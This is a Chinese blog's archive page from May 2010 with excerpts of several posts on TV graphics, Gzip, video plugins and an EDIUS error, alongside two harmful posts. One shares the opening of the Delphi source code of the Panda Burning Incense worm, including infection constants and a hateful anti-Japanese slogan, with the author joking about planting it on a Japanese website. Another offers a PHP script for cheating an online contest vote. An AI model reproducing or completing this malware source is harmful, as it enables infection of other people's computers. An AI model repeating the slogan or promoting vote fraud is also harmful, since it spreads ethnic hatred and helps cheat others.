Monthly Archive: May, 2010

样片 — 电视包装的双刃剑

样片是指拍摄出来供审查或编辑用的片子。用之于电影业内,原指未经剪辑的影片,即毛片或工作样片(pilot film)。当然在医学领域的样片则主要用于病理诊断。本文中的样片是指经典得足以作为参考借鉴之用的影视成片。电视包装行业里,做的顶尖的,绝对学习过无数样片;做的最差的,总想搜集最全的样片;做的藉藉无名的,被样片局限,永远只会照猫画猫!

中国的电视包装是在亦步亦趋地追随国际样片的过程中发展起来的。直到今天,国外样片仍然如影随形一般游荡在全中国从CCTV到县级电视频道的荧屏上,久久挥之不去。

电视包装在国内发轫之时,样片寥若晨星,当然那时的样片都只存在于磁带之中,还没有像现在这样泛滥在网络上,保存在个人电脑的硬盘上。所以最初的电视包装设计师和制作人并没有太多可以参照的对象,一穷二白的当口上,自力更生,反而做出了一些令人耳目一新的作品。如今,个人搜集的样片都动辄上万条,意志薄弱的人就很容易投机取巧,懒得开动脑筋,不愿意跟自己较劲,不管三七二十一,就认准了拿来主义。很多人也无奈地说,这是市场不规范的恶果,毕竟公司和个人还要糊口,还要生存,给多少钱办多少事。

如果是少数人这样做的话也无大碍,关键在于”借鉴”已经成为一种中国电视包装界的群体行为(从理论到制作概莫能外)。最可笑的是上行下效,有条件的”借鉴”国外的,没条件的”借鉴”国内的,省级的”借鉴”北京的,县级的”借鉴”市级的,结果可想而知,电视屏幕上并非”满面创意”,而是”满目疮痍”。”借鉴”早已经成为中国电视包装从业者自我解嘲的一块遮羞布!

自然,模仿是人类的天性,没有模仿就谈不上学习,就好像一个人生下来就会吃奶,那是本能。当他能够自主进食的时候我们鼓励他选择牛奶羊奶,但如果他还要解开别人的衣服吃人奶,那非但不值得鼓励,简直就是流氓加强盗! Read more

网站自动投票程序

最近朋友参加选美,官方搞了一个网络投票系统,这可关系到选手的切身利益啊。朋友不甘心别的选手票数太多,最后我们发动众多伙伴参与了这个作弊的计划。

下面是这个作弊的投票程序的php源码,分享出来(悠着点用哈,别乱来哦)

这个源码使用了CURL函数,要用该程序必须保证你的服务器支持该函数哈(大部分都支持哦!)

程序包含了2个文件,分别为:curl.func.php、award.php,不过投票的连接还是要自己改的哦!

唉,代码粘贴进去就自动转换了,下附件自己看吧,里面有注释!

Read more

熊猫烧香 – 核心源码 Delphi版本

一直喜欢研究软件,不过自己是个很菜的菜鸟,当年的熊猫烧香更是疯狂一时,不过现在这代码也确实不咋样哈!

可惜我不会Delphi,不然我也把他完善了放到日本靖国神社网站上去了,哈哈哈哈!

//代码开始
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x } Read more

为博客开启Gzip

先还是了解下什么是gzip
GZIP最早由Jean-loup Gailly和Mark Adler创建,用于UNIX系统的文件压缩。我们在Linux中经常会用到后缀为.gz的文件,它们就是GZIP格式的。现今已经成为Internet 上使用非常普遍的一种数据压缩格式,或者说一种文件格式。HTTP协议上的GZIP编码是一种用来改进WEB应用程序性能的技术。大流量的WEB站点常常使用GZIP压缩技术来让用户感受更快的速度。这一般是指WWW服务器中安装的一个功能,当有人来访问这个服务器中的网站时,服务器中的这个功能就将网页内容压缩后传输到来访的电脑浏览器中显示出来.一般对纯文本内容可压缩到原大小的40%.这样传输就快了,效果就是你点击网址后会很快的显示出来.当然这也会增加服务器的负载. 一般服务器中都安装有这个功能模块的.

开GZIP有什么好处?
Gzip开启以后会将输出到用户浏览器的数据进行压缩的处理,这样就会减小通过网络传输的数据量,提高浏览的速度。

了解也了解了,现在就来为我们的网站开起gzip压缩输出吧。。先申明下,本文只作为Linux系统的用户参考,windows用户我可不管哈。 Read more

Debugmode FrameServer Ver.2.7

Debugmode FrameServer Ver.2.7

Debugmode FrameServer

Debugmode FrameServer is an open source plugin which will allow NLEs to do FrameServing, Image Sequence export and AudioServing.

FrameServing and AudioServing are the techniques used to transfer audio/video data from one application to another without doing a full fledged render and temporary files. Debugmode FrameServer is a plugin for NLEs enabling them to export their timeline audio/video data outside so that other applications can use the timeline directly as input.

Another use of the Frameserver/Audioserver is to serve audio/video data to an application that does not understand the source format. If you have an NLE that can open .MOV files and your MPEG encoder can read only .AVI input files, you can open the .MOV file in your NLE and use Debugmode FrameServer to serve the a/v data to your MPEG encoder. This increases compatibility between applications.

Debugmode Frameserver can also export the video from your NLE as an Image sequence. Frames can be saved in lossless BMP, TIFF, PNG and high quality JPEG formats. Read more

解决EDIUS运行时出现read错误

出现这个问题一般是由两个方面造成的,一是硬件,即内存方面有问题;二是软件,这就有多方面的问题了。

一般来说,电脑硬件是很不容易坏的。内存出现问题的可能性并不大(除非你的内存真的是杂牌的没的说),主要方面是:

  1. 内存条坏了(二手内存情况居多);
  2. 使用了有质量问题的内存;
  3. 内存插在主板上的金手指部分灰尘太多;
  4. 使用不同品牌不同容量的内存,从而出现不兼容的情况;
  5. 超频带来的散热问题。你可以使用MemTest 这个软件来检测一下内存,它可以彻底的检测出内存的稳定度。

如果硬件没有问题,那么只有从软件方面来排除了

先说原理:内存存放数据的地方叫缓冲区,当程序把数据放在缓冲区,需要操作系统提供的“功能函数”来申请,如果内存分配成功,函数就会将所新开辟的内存区地址返回给应用程序,应用程序就可以通过这个地址使用这块内存。这就是“动态内存分配”,内存地址也就是编程中的“光标”。内存不是永远都招之即来、用之不尽的,有时候内存分配也会失败。当分配失败时系统函数会返回一个0值,这时返回值“0”已不表示新启用的光标,而是系统向应用程序发出的一个通知,告知出现了错误。作为应用程序,在每一次申请内存后都应该检查返回值是否为0,如果是,则意味着出现了故障,应该采取一些措施挽救,这就增强了程序的“健壮性”。若应用程序没有检查这个错误,它就会按照“思维惯性”认为这个值是给它分配的可用光标,继续在之后的执行中使用这块内存。真正的0地址内存区储存的是计算机系统中最重要的“中断描述符表”,绝对不允许应用程序使用。在没有保护机制的操作系统下(如DOS),写数据到这个地址会导致立即当机,而在健壮的操作系统中,如Windows等,这个操作会马上被系统的保护机制捕获,其结果就是由操作系统强行关闭出错的应用程序,以防止其错误扩大。这时候,就会出现上述的内存不能为“read”错误,并指出被引用的内存地址为“0x00000000“。内存分配失败故障的原因很多,内存不够、系统函数的版本不匹配等都可能有影响。 Read more

Archives